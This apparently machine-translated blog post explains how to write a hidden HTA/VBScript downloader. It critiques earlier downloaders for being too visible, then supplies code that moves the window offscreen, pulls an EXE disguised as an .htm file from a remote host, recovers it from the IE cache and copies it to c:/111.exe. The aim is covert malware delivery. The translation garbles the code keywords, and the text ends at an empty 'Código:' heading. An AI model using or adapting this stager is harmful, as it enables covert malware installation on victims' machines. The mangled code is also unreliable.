1. Primero hablemos sobre dos descargadores de VBS relativamente novedosos en este blog. Uno está hecho con el componente CDO.Message y el otro está hecho con Microsoft.xmldom. Ver http://www.jb51.net/article/15506.htm. Uno de estos dos descargadores es problemático de usar y necesita convertir el EXE con anticipación. En segundo lugar, cscript.exe accederá a la red durante el uso, que no está demasiado oculto. El segundo es que algunas máquinas no tienen estos dos componentes y usan ADODB.Stream, por lo que hay algunas desventajas.
2. Hablemos sobre el descargador de Lake2 http://blog.csdn.net/lake2/archive/2007/05/08/1600580.aspx. Este descargador es bastante bueno, pero hay problemas. Una es que si se instala otro navegador como 360, se abrirá una ventana IE, y la ubicación de caché IE leída del registro puede no ser precisa.
3. Entonces, ¿cómo actualizamos estos defectos? Todavía hay un camino. Usamos HTA para escribir esto, lo cual es relativamente raro. HH.EXE generalmente se lanzará al acceder a la red. Cuántas dificultades deben resolverse escribiendo este descargador:
(1). Hacer hta invisible ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
(2). Hacer hta recibe parámetros de línea de comando ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
(3). Do not call all components mentioned in the first and second items above-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
(4) Ubicación temporal de .ie Cache ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
(5) No llamamos a ningún componente --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
4. Código (escriba directamente los parámetros en HTA)
El código es el siguiente:
<Script Language = VBS>
Window.moveto 4000,4000
Window.resizeto 0,0 'hacer hta invisible
establecer objshell = createObject ("wscript.shell") 'hta puede llamar directamente a wscript.shell, pero no puede llamar a wscript.createObject ("wscript.shell")
downpath = objshell.EXPANDENVIRMENTSTRINGS ("%userProfile%") y "/configuración local" 'Obtenga la ruta de descarga de acuerdo con la variable de entorno
Establecer xml = document.createElement ("xml") 'El comportamiento predeterminado de crear la llamada del elemento XML, es decir,
xml.addbehavior ("#predeterminado#descargar")
xml.async = 0
xml.load ("http://192.168.0.10/xx.htm") 'Cambie el nombre del exe al espacio. Si lo sube con el software FTP, es posible que no funcione. Es mejor ponerlo.
Showallfile (recinto)
Sub showallfile (ruta) 'Viajando y buscando, use directamente el código de Lake2
FindFileName = "xx [1] .htm" 'Esto también es lo que necesita cambiar. Si lo anterior es xx.htm, aquí está xx [1] .htm
Establecer fso = createObject ("scripting.filesystemObject")
Establecer F = fso.getfolder (ruta)
Establecer fc = f.subfolders
Para cada F1 en FC
If fso.fileExists (Path & "/" & f1.name & "/" & findFileName) entonces
Fso.CopyFile Path & "/" & f1.name & "/" & findFileName, "c: /111.exe" 'Guardar en c: /111.exe, y se puede cambiar según sea necesario
'Document.Write "[+] ¡Descargue el éxito!"
Final si
Showallfile ruta & "/" & f1.name
Próximo
Establecer FSO = nada
Final
ventana. Clarar
</script>
El uso es: poner exe como xx.exe en el espacio, luego haga doble clic en este HTA.
5. Otro código (Pases de parámetros de línea de comando)
Personalmente, creo que el código en la cuarta parte es mejor, solo modifíquelo y úselo. Si se llaman a los parámetros de la línea de comando, descubrí que la ventana HTA aún aparecerá y solo se cerrará después de la descarga, por lo que esto no es muy bueno. Código: